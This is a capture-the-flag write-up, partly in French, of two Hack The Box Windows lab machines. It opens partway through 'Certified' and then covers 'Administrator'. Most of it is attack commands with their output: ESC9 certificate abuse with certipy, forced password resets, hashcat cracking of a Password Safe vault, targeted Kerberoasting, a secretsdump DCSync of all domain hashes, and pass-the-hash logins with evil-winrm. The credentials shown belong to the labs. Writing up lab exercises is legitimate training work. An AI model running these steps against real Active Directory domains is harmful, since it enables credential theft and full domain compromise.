23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89


certipy-ad find -vulnerable -stdout -u ca_operator@certified.htb -hashes 94994b74f29662fc4d702f2f3b0df327:94994b74f29662fc4d702f2f3b0df327 -debug
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[+] Trying to resolve 'CERTIFIED.HTB' at '10.0.2.3'
[+] Resolved 'CERTIFIED.HTB' from cache: 10.10.11.41
[+] Authenticating to LDAP server
[+] Bound to ldaps://10.10.11.41:636 - ssl
[+] Default path: DC=certified,DC=htb
[+] Configuration path: CN=Configuration,DC=certified,DC=htb
[+] Adding Domain Computers to list of current user's SIDs
[+] List of current user's SIDs:
 CERTIFIED.HTB\Domain Users (S-1-5-21-729746778-2675978091-3820388244-513)
 CERTIFIED.HTB\Authenticated Users (CERTIFIED.HTB-S-1-5-11)
 CERTIFIED.HTB\Domain Computers (S-1-5-21-729746778-2675978091-3820388244-515)
 CERTIFIED.HTB\Everyone (CERTIFIED.HTB-S-1-1-0)
 CERTIFIED.HTB\operator ca (S-1-5-21-729746778-2675978091-3820388244-1106)
 CERTIFIED.HTB\Users (CERTIFIED.HTB-S-1-5-32-545)
[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[+] Trying to resolve 'DC01.certified.htb' at '10.0.2.3'
[!] Failed to resolve: DC01.certified.htb
[*] Trying to get CA configuration for 'certified-DC01-CA' via CSRA
[+] Trying to get DCOM connection for: DC01.certified.htb
[!] Got error while trying to get CA configuration for 'certified-DC01-CA' via CSRA: [Errno -2] Name or service not known
[*] Trying to get CA configuration for 'certified-DC01-CA' via RRP
[!] Got error while trying to get CA configuration for 'certified-DC01-CA' via RRP: [Errno Connection error (DC01.certified.htb:445)] [Errno -2] Name or service not known
[!] Failed to get CA configuration for 'certified-DC01-CA'
[+] Trying to resolve 'DC01.certified.htb' at '10.0.2.3'
[!] Failed to resolve: DC01.certified.htb
[+] Connecting to DC01.certified.htb:80
[!] Got error while trying to check for web enrollment: [Errno -2] Name or service not known
[*] Enumeration output:
Certificate Authorities
 0
 CA Name : certified-DC01-CA
 DNS Name : DC01.certified.htb
 Certificate Subject : CN=certified-DC01-CA, DC=certified, DC=htb
 Certificate Serial Number : 36472F2C180FBB9B4983AD4D60CD5A9D
 Certificate Validity Start : 2024-05-13 15:33:41+00:00
 Certificate Validity End : 2124-05-13 15:43:41+00:00
 Web Enrollment : Disabled
 User Specified SAN : Unknown
 Request Disposition : Unknown
 Enforce Encryption for Requests : Unknown
Certificate Templates
 0
 Template Name : CertifiedAuthentication
 Display Name : Certified Authentication
 Certificate Authorities : certified-DC01-CA
 Enabled : True
 Client Authentication : True
 Enrollment Agent : False
 Any Purpose : False
 Enrollee Supplies Subject : False
 Certificate Name Flag : SubjectRequireDirectoryPath
 SubjectAltRequireUpn
 Enrollment Flag : NoSecurityExtension
 AutoEnrollment
 PublishToDs
 Private Key Flag : 16842752
 Extended Key Usage : Server Authentication
 Client Authentication
 Requires Manager Approval : False
 Requires Key Archival : False
 Authorized Signatures Required : 0
 Validity Period : 1000 years
 Renewal Period : 6 weeks
 Minimum RSA Key Length : 2048
 Permissions
 Enrollment Permissions
 Enrollment Rights : CERTIFIED.HTB\operator ca
 CERTIFIED.HTB\Domain Admins
 CERTIFIED.HTB\Enterprise Admins
 Object Control Permissions
 Owner : CERTIFIED.HTB\Administrator
 Write Owner Principals : CERTIFIED.HTB\Domain Admins
 CERTIFIED.HTB\Enterprise Admins
 CERTIFIED.HTB\Administrator
 Write Dacl Principals : CERTIFIED.HTB\Domain Admins
 CERTIFIED.HTB\Enterprise Admins
 CERTIFIED.HTB\Administrator
 Write Property Principals : CERTIFIED.HTB\Domain Admins
 CERTIFIED.HTB\Enterprise Admins
 CERTIFIED.HTB\Administrator
 [!] Vulnerabilities
 ESC9 : 'CERTIFIED.HTB\\operator ca' can enroll and template has no security extension

Exploit ESC9 vulnerability

#### Modifying the userPrincipalName (UPN) attribute of ca_operator management_svc modifie l’UPN de ca_operator (son identifiant d’utilisateur principal) pour qu’il corresponde à Administrator (sans le domaine @corp.local). L’UPN modifié reste valide car il ne correspond pas exactement à celui d’Administrator (qui est Administrator@corp.local).

1
2
3
4
5
6


certipy-ad account update -username management_svc@certified.htb -hashes a091c1832bcdd4677c28b5a6a1295584 -user ca_operator -upn Administrator
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Updating user 'ca_operator':
 userPrincipalName : Administrator
[*] Successfully updated 'ca_operator'

Requesting Certificate

management_svc demande un certificat en se faisant passer pour ca_operator, mais avec l’UPN modifié à Administrator.
Le modèle de certificat ESC9 (mal configuré) permet d’émettre un certificat sans inclure de sécurité supplémentaire (par exemple, des extensions empêchant les abus).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


certipy-ad req -username ca_operator@certified.htb -hashes 94994b74f29662fc4d702f2f3b0df327 -ca certified-DC01-CA -template CertifiedAuthentication

/usr/lib/python3/dist-packages/certipy/commands/req.py:459: SyntaxWarning: invalid escape sequence '\('
 "(0x[a-zA-Z0-9]+) \([-]?[0-9]+ ",
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 23
[*] Got certificate with UPN 'Administrator'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'

Restoring the UPN of ca_operator

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


certipy-ad account update -username management_svc@certified.htb -hashes a091c1832bcdd4677c28b5a6a1295584 -user 'ca_operator' -upn 'ca_operator@certified.htb' -debug
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[+] Trying to resolve 'CERTIFIED.HTB' at '10.0.2.3'
[+] Resolved 'CERTIFIED.HTB' from cache: 10.10.11.41
[+] Authenticating to LDAP server
[+] Bound to ldaps://10.10.11.41:636 - ssl
[+] Default path: DC=certified,DC=htb
[+] Configuration path: CN=Configuration,DC=certified,DC=htb
[*] Updating user 'ca_operator':
 userPrincipalName : ca_operator@certified.htb
[*] Successfully updated 'ca_operator'

Retrieving NT Hash via Forged Certificate

Attempting authentication with the issued certificate now yields the NT hash of Administrator@corp.local. The command must include -domain due to the certificate’s lack of domain specification:

1
2
3
4
5
6
7
8
9


certipy-ad auth -pfx ./administrator.pfx -domain certified.htb
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@certified.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@certified.htb': aad3b435b51404eeaad3b435b51404ee:0d5b49608bbce1751f708748f67e2d34

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23


evil-winrm -i 10.10.11.41 -u Administrator -H 0d5b49608bbce1751f708748f67e2d34

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> ls


 Directory: C:\Users\Administrator\Desktop


Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 12/10/2024 9:26 AM 34 root.txt


*Evil-WinRM* PS C:\Users\Administrator\Desktop> cat root.txt
dc1c.....fb35

HTB | Administrator

Sun, 01 Dec 2024 00:00:00 +0000

Machine name	OS	IP	Difficulty
Administrator	Windows	10.10.11.42	Medium

Users

1
2
3
4
5
6


Olivia : ichliebedich
alexander:UrkIbagoxMyUGw0aPlj9B0AXSea4Sw
emily:UXLCI5iETUsIBoFVTj8yQFKoHjXmb
emma:WwANQWnmJnGV07WQN8bMS7FMAbjNur
ethan : limpbizkit
Administrator : 3dc553ce4b9fd20bd016e098d2d2fd2e

Enumeration

Threader 3000

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92


------------------------------------------------------------
 Threader 3000 - Multi-threaded Port Scanner
 Version 1.0.7
 A project by The Mayor
------------------------------------------------------------
Enter your target IP address or URL here: 10.10.11.42
------------------------------------------------------------
Scanning target 10.10.11.42
Time started: 2024-11-27 14:54:16.528194
------------------------------------------------------------
Port 21 is open
Port 53 is open
Port 139 is open
Port 135 is open
Port 88 is open
Port 464 is open
Port 445 is open
Port 389 is open
Port 593 is open
Port 636 is open
Port 3268 is open
Port 3269 is open
Port 5985 is open
Port 9389 is open
Port 47001 is open
Port 49665 is open
Port 49668 is open
Port 49664 is open
Port 49666 is open
Port 49670 is open
Port 53246 is open
Port 53276 is open
Port 53268 is open
Port 53251 is open
Port 53313 is open
Port 63231 is open
Port scan completed in 0:00:08.796993
------------------------------------------------------------
Threader3000 recommends the following Nmap scan:
************************************************************
nmap -p21,53,139,135,88,464,445,389,593,636,3268,3269,5985,9389,47001,49665,49668,49664,49666,49670,53246,53276,53268,53251,53313,63231 -sV -sC -T4 -Pn -oA 10.10.11.42 10.10.11.42
************************************************************
Would you like to run Nmap or quit to terminal?
------------------------------------------------------------
1 = Run suggested Nmap scan
2 = Run another Threader3000 scan
3 = Exit to terminal
------------------------------------------------------------
Option Selection: 1
nmap -p21,53,139,135,88,464,445,389,593,636,3268,3269,5985,9389,47001,49665,49668,49664,49666,49670,53246,53276,53268,53251,53313,63231 -sV -sC -T4 -Pn -oA 10.10.11.42 10.10.11.42
Starting Nmap 7.80 ( https://nmap.org ) at 2024-11-27 14:55 CET

Nmap scan report for 10.10.11.42
Host is up (0.038s latency).

PORT STATE SERVICE VERSION
21/tcp closed ftp
53/tcp closed domain
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-11-27 20:55:50Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp closed ldap
445/tcp closed microsoft-ds
464/tcp open kpasswd5?
593/tcp closed http-rpc-epmap
636/tcp closed ldapssl
3268/tcp closed globalcatLDAP
3269/tcp closed globalcatLDAPssl
5985/tcp closed wsman
9389/tcp closed adws
47001/tcp closed winrm
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49668/tcp closed unknown
49670/tcp closed unknown
53246/tcp closed unknown
53251/tcp closed unknown
53268/tcp closed unknown
53276/tcp closed unknown
53313/tcp closed unknown
63231/tcp closed unknown
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_smb2-security-mode: SMB: Couldn't find a NetBIOS name that works for the server. Sorry!
|_smb2-time: ERROR: Script execution failed (use -d to debug)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 65.94 seconds
------------------------------------------------------------
Combined scan completed in 0:02:32.888755

nmap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33


nmap 10.10.11.42 -sV -sC -T4 -Pn
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-30 18:52 EST
Nmap scan report for administrator.htb (10.10.11.42)
Host is up (0.072s latency).
Not shown: 988 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-syst:
|_ SYST: Windows_NT
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-12-01 06:52:33Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2024-12-01T06:52:40
|_ start_date: N/A
|_clock-skew: 7h00m02s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.37 seconds

rpcclient enumusers

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


rpcclient -U Olivia%ichliebedich 10.10.11.42 -c "enumdomusers"
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[olivia] rid:[0x454]
user:[michael] rid:[0x455]
user:[benjamin] rid:[0x456]
user:[emily] rid:[0x458]
user:[ethan] rid:[0x459]
user:[alexander] rid:[0xe11]
user:[emma] rid:[0xe12]

smbclient

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


smbclient -L //10.10.11.42 -U Olivia%ichliebedich

 Sharename Type Comment
 --------- ---- -------
 ADMIN$ Disk Remote Admin
 C$ Disk Default share
 IPC$ IPC Remote IPC
 NETLOGON Disk Logon server share
 SYSVOL Disk Logon server share
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.11.42 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

SharpHound

1

upload SharpHound.ps1 .

Bloodhound

On importe les données obtenu. Puis on voit que Olivia a des acces generic All sur Michael. On peut alors changer son mot de passe:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28


## Olivia : Droits GenericAll sur l'utilisateur Michael
 Set-ADAccountPassword -Identity "Michael" -NewPassword (ConvertTo-SecureString -AsPlainText "azertyazerty" -Force) -Reset

## Connexion avec le compte de Michael
evil-winrm -i 10.10.11.42 -u Michael -p azertyazerty

## Michael : Droits ForceChangePassword

## D'abord, il faut ajouter PowerView.ps1 pour obtenir certaines commandes dans
## le powershell de Evil-Winrm
upload PowerView.ps1

## On load powerview dans le powershell
## On met un "." devant pour charger dans l'environnement powershell actuelle et pas dans un sous-environnement
. .\PowerView.ps1

## Changement du mot de passe de Benjamin
Set-DomainUserPassword -Identity Benjamin -AccountPassword (ConvertTo-SecureString 'azertyazerty' -AsPlainText -Force) -Verbose

## Connexion avec l'utilisateur Benjamin
evil-winrm -i 10.10.11.42 -u Benjamin -p azertyazerty

## RIEN !
smbclient

## FTP
ftp 10.10.11.42
> get Backup.psafe3

Foothold

Bruteforce Backup.psafe3

On bruteforce le password maitre du fichier Backup.psafe3 qui est un fichier password safe. Pour cela, on utilise hashcat:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54


$ hashcat -m 5200 -a 0 Backup.psafe3 ~/wordlists/rockyou.txt

hashcat (v6.2.5) starting

OpenCL API (OpenCL 2.0 pocl 1.8 Linux, None+Asserts, RELOC, LLVM 11.1.0, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
=====================================================================================================================================
* Device #1: pthread-Intel(R) Core(TM) i7-10510U CPU @ 1.80GHz, 6839/13742 MB (2048 MB allocatable), 8MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt
* Slow-Hash-SIMD-LOOP

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 2 MB

Dictionary cache hit:
* Filename..: /home/leopold/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139922195
* Keyspace..: 14344385

Backup.psafe3:tekieromucho

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5200 (Password Safe v3)
Hash.Target......: Backup.psafe3
Time.Started.....: Thu Nov 28 15:13:47 2024 (0 secs)
Time.Estimated...: Thu Nov 28 15:13:47 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/home/leopold/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 27754 H/s (5.85ms) @ Accel:64 Loops:1024 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 5120/14344385 (0.04%)
Rejected.........: 0/5120 (0.00%)
Restore.Point....: 4608/14344385 (0.03%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:2048-2049
Candidate.Engine.: Device Generator
Candidates.#1....: Liverpool -> babygrl
Hardware.Mon.#1..: Temp: 60c Util: 22%

Started: Thu Nov 28 15:13:27 2024
Stopped: Thu Nov 28 15:13:48 2024

PasswordSafe

On installe pwsafe puis on ouvre la base de donnée avec le mot de passe trouvé tekieromucho.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


sudo apt isntall pwsafe
pwsafe ./Backup.psafe3

alexander:UrkIbagoxMyUGw0aPlj9B0AXSea4Sw
emily:UXLCI5iETUsIBoFVTj8yQFKoHjXmb
emma:WwANQWnmJnGV07WQN8bMS7FMAbjNur

evil-winrm -i 10.10.11.42 -u alexander -p UrkIbagoxMyUGw0aPlj9B0AXSea4Sw

evil-winrm -i 10.10.11.42 -u emily -p UXLCI5iETUsIBoFVTj8yQFKoHjXmb

./nxc smb 10.10.11.42 -u 'emily' -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb'
SMB 10.10.11.42 445 DC [*] Windows 10.0 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.42 445 DC [+] administrator.htb\emily:UXLCI5iETUsIBoFVTj8yQFKoHjXmb

evil-winrm -i 10.10.11.42 -u emma -p WwANQWnmJnGV07WQN8bMS7FMAbjNur

User flag

Finalement, on obtient le flag utilisateur grâce à Emily

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


evil-winrm -i 10.10.11.42 -u emily -p UXLCI5iETUsIBoFVTj8yQFKoHjXmb

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\emily\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\emily\Desktop> cat user.txt
3415.....de32

Privilege Escalation

Emily -> Ethan

On doit faire un kerberosting. D’après le write-up, il y avait une manière plus simple de le faire grace a ce repo github qui fait toutes les etapes qu’on a effectué à la main d’un coup:

git clone https://github.com/ShutdownRepo/targetedKerberoast

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


## Depuis Emily evilWinrm
. .\PowerView.ps1

Set-DomainObject -Identity Ethan -Set @{serviceprincipalname='fakeService/targetHost'}

## Depuis Kali
┌──(kali㉿kali)-[~/Downloads]
└─$ sudo ntpdate administrator.htb
2024-11-29 16:04:44.623613 (-0500) +25200.766571 +/- 0.493670 administrator.htb 10.10.11.42 s1 no-leap
CLOCK: time stepped by 25200.766571

┌──(kali㉿kali)-[~/Downloads]
└─$ GetUserSPNs.py administrator.htb/emily:UXLCI5iETUsIBoFVTj8yQFKoHjXmb -request

hashcat -m 13100 -a 0 ethan_hash.txt ~/wordlists/rockyou.txt --optimized-kernel-enable --show leopold@leopold-ZenBook-UX434FAC-UX434FA
$krb5tgs$23$*ethan$ADMINISTRATOR.HTB$administrator.htb/ethan*$78ac2707afa86369c7b7ac6481d4f104$90702b9d78c06a35af5186690e4534b9432409b6e97765e513071ac185c0547c06cb3a2bf9b7268791819e21671adc50267d2233c02f05a3528d9a3341a87a2f470a8b7cf56a3d326751f9def7e0ba074bc3898d2159339e52406c576ce48895c687ad7460ed922d25a7f311197ab8ba2dd2f407690371cea35ab9509f4323aef68705ff3a735d7a461691040e3f6cee60cf8872450c1915429bc741357983166310c5664995fbb6d2e94d555c8ecd59e01f951860d21da3adda55559976f5472be684af958d97e449d1359f5c21e24cd684a1b4db78ff6386b7b02dcecc7bec3bd3b073ac659d50f2e168563a99ff4e8a75460d653acc88eda530e4de755074de68faa776a437a45ce3a681e63edd36130040528f02bf655f8b2ef8fdac61d33c10c10573f4641551d55a950bc13ca30d4dbe622be89f6296f0d330352910d3df0d4c659408a422dbba104e64d3e061a9a182167250a3943ad22a24aceb2e7c51a2e76fc14125c88fb0990601a8f28b2ee96da6da4cf743800c7777e0549fa84d96504a8e250deeb266786714f9d3aa19fcb0f60cf60b788f6def223a11dfda0e0bbbbff61293d7c30925f7f743494f9950fd6684d6f60ab77494e726a75178cf7112b961665ea10213fbb40702faa66dcecd6c7be70738ee8d6e25bafc67962d7aa43cb4a36eb367ecffe26060cc38f411d26e41a3a37ea0d62e3be77d42daee37a277ac464d8b1e2b3d2b5587d2ef0bac76a15009361f4d5256be13b408617cf910a9faa14d1f7997fe85c51ee20f0977fd60381b815f0acff3cb3d4b6a1a6ff72f0d75d03190ed77c663cdd6cc2c11f87916456861d928554bc0cea4f2b05ea58afff209e19964ad6a5e69c2775a17645f61e39c24dd3b9705272580e72db2438ee10e26ce49cedcc6d40727d8d9eb839db1029fbe39d197208829689909afca82def5d5143bf5e80d7486bace7c1ce7364615030fe65555f03f8fc90791c3d3760feaa03e7e6c9b4654e80ccb1bc5803bb3735e17b3e025fccd1e510aff673cd9d17bb03d1ffd1a7ffaf60b730a619263ed6b67af39efff762026ef683e8b0d330c1f1da452383fab9acb9c652257b3400e2190f4603361cf61f7d187d15a71702bbc95eec7838de2ae64584e64d8ee59de45de529a913f473a52a312dd66b3645b1b0d001147ad744436b8cfdb72af6dc5defe880a6170c24ee592d53f3b8874678c202be3fdcc5b412b59b5800fcd25641bbb8e443f1b94f25c206a628ef448eb0d205b0cf7ec9c90374d53f20fff82be21a8002a6de850eeb67e16e0e6e0022ecaa54ef7ef46c0b0bf38d819c28863e1611d6112b08683ae1ac7c3cee339587b502e83369f27b7b445964fa6efb504fec49f0c5a319aa341273a50902ee8531e27b289afa18c617eaa5d806303d723045102267a39773e6da6e1e4949cf3fdcea35174107c6205feb621037c4dcb074a3b3684434ca2da040e93e981ad3f12e7bb106a9bc2824f5ac151556eaea4a97a972deb5da307d67938fe59:limpbizkit

On obtient les creds de Ethan:limpbizkit

1
2
3
4
5
6
7
8
9


rpcclient -U "administrator.htb\ethan%limpbizkit" 10.10.11.42

ldapsearch -x -H ldap://10.10.11.42 -D "ethan@administrator.htb" -w "limpbizkit" -b "DC=administrator,DC=htb"

## Tentatives d'ouvertur d'un shell
$ evil-winrm -i 10.10.11.42 -u ethan -p limpbizkit
$ wmiexec.py 'administrator.htb/ethan:limpbizkit@10.10.11.42'
$ psexec.py 'administrator.htb/ethan:limpbizkit@10.10.11.42'
$ dcomexec.py 'administrator.htb/ethan:limpbizkit@10.10.11.42'

Secretsdump

On récupère le hash de l’administrateur grâce au script secretsdump et aux droits de l’utilisateur ethan.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48


secretsdump.py -just-dc ethan:limpbizkit@10.10.11.42 -outputfile dcsync_hashes
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:3dc553ce4b9fd20bd016e098d2d2fd2e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:1181ba47d45fa2c76385a82409cbfaf6:::
administrator.htb\olivia:1108:aad3b435b51404eeaad3b435b51404ee:fbaa3e2294376dc0f5aeb6b41ffa52b7:::
administrator.htb\michael:1109:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
administrator.htb\benjamin:1110:aad3b435b51404eeaad3b435b51404ee:a29f7623fd11550def0192de9246f46b:::
administrator.htb\emily:1112:aad3b435b51404eeaad3b435b51404ee:eb200a2583a88ace2983ee5caa520f31:::
administrator.htb\ethan:1113:aad3b435b51404eeaad3b435b51404ee:5c2b9f97e0620c3d307de85a93179884:::
administrator.htb\alexander:3601:aad3b435b51404eeaad3b435b51404ee:cdc9e5f3b0631aa3600e0bfec00a0199:::
administrator.htb\emma:3602:aad3b435b51404eeaad3b435b51404ee:11ecd72c969a57c34c819b41b54455c9:::
DC$:1000:aad3b435b51404eeaad3b435b51404ee:cf411ddad4807b5b4a275d31caa1d4b3:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:9d453509ca9b7bec02ea8c2161d2d340fd94bf30cc7e52cb94853a04e9e69664
Administrator:aes128-cts-hmac-sha1-96:08b0633a8dd5f1d6cbea29014caea5a2
Administrator:des-cbc-md5:403286f7cdf18385
krbtgt:aes256-cts-hmac-sha1-96:920ce354811a517c703a217ddca0175411d4a3c0880c359b2fdc1a494fb13648
krbtgt:aes128-cts-hmac-sha1-96:aadb89e07c87bcaf9c540940fab4af94
krbtgt:des-cbc-md5:2c0bc7d0250dbfc7
administrator.htb\olivia:aes256-cts-hmac-sha1-96:713f215fa5cc408ee5ba000e178f9d8ac220d68d294b077cb03aecc5f4c4e4f3
administrator.htb\olivia:aes128-cts-hmac-sha1-96:3d15ec169119d785a0ca2997f5d2aa48
administrator.htb\olivia:des-cbc-md5:bc2a4a7929c198e9
administrator.htb\michael:aes256-cts-hmac-sha1-96:de3afc157b17c25bf056296233cf23629c06aa2f19d414afbe0afe3da7d59835
administrator.htb\michael:aes128-cts-hmac-sha1-96:038498213933ca1f3d43b4d7f6b0a572
administrator.htb\michael:des-cbc-md5:07bf8f89c229c219
administrator.htb\benjamin:aes256-cts-hmac-sha1-96:c0e6eaa8e841c72e55ef6a938565403e27aa728f5397e75d8cae6cd3423957bd
administrator.htb\benjamin:aes128-cts-hmac-sha1-96:3e8b0ff2f07fd2178ec4d33f1ad0bc4b
administrator.htb\benjamin:des-cbc-md5:4a4aa4e3bc5eab61
administrator.htb\emily:aes256-cts-hmac-sha1-96:53063129cd0e59d79b83025fbb4cf89b975a961f996c26cdedc8c6991e92b7c4
administrator.htb\emily:aes128-cts-hmac-sha1-96:fb2a594e5ff3a289fac7a27bbb328218
administrator.htb\emily:des-cbc-md5:804343fb6e0dbc51
administrator.htb\ethan:aes256-cts-hmac-sha1-96:e8577755add681a799a8f9fbcddecc4c3a3296329512bdae2454b6641bd3270f
administrator.htb\ethan:aes128-cts-hmac-sha1-96:e67d5744a884d8b137040d9ec3c6b49f
administrator.htb\ethan:des-cbc-md5:58387aef9d6754fb
administrator.htb\alexander:aes256-cts-hmac-sha1-96:b78d0aa466f36903311913f9caa7ef9cff55a2d9f450325b2fb390fbebdb50b6
administrator.htb\alexander:aes128-cts-hmac-sha1-96:ac291386e48626f32ecfb87871cdeade
administrator.htb\alexander:des-cbc-md5:49ba9dcb6d07d0bf
administrator.htb\emma:aes256-cts-hmac-sha1-96:951a211a757b8ea8f566e5f3a7b42122727d014cb13777c7784a7d605a89ff82
administrator.htb\emma:aes128-cts-hmac-sha1-96:aa24ed627234fb9c520240ceef84cd5e
administrator.htb\emma:des-cbc-md5:3249fba89813ef5d
DC$:aes256-cts-hmac-sha1-96:98ef91c128122134296e67e713b233697cd313ae864b1f26ac1b8bc4ec1b4ccb
DC$:aes128-cts-hmac-sha1-96:7068a4761df2f6c760ad9018c8bd206d
DC$:des-cbc-md5:f483547c4325492a
[*] Cleaning up...

Evil-winrm

En utilisant le hash de l’administrator on peut directement se connecter avec evil-winrm:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18


$ evil-winrm -u Administrator -H 3dc553ce4b9fd20bd016e098d2d2fd2e -i 10.10.11.42

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> ls

Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 11/29/2024 10:54 PM 34 root.txt

*Evil-WinRM* PS C:\Users\Administrator\Desktop> cat root.txt
8431.....8a6b

Pass The Ticket Attack (PTT)

PAS REUSSI, FINALEMENT PAS UTILE ?

1
2
3
4
5
6


export KRB5CCNAME=Administrator.ccache
## On récupère un ticket
getTGT.py ADMINISTRATOR.HTB/Administrator -aesKey 9d453509ca9b7bec02ea8c2161d2d340fd94bf30cc7e52cb94853a04e9e69664
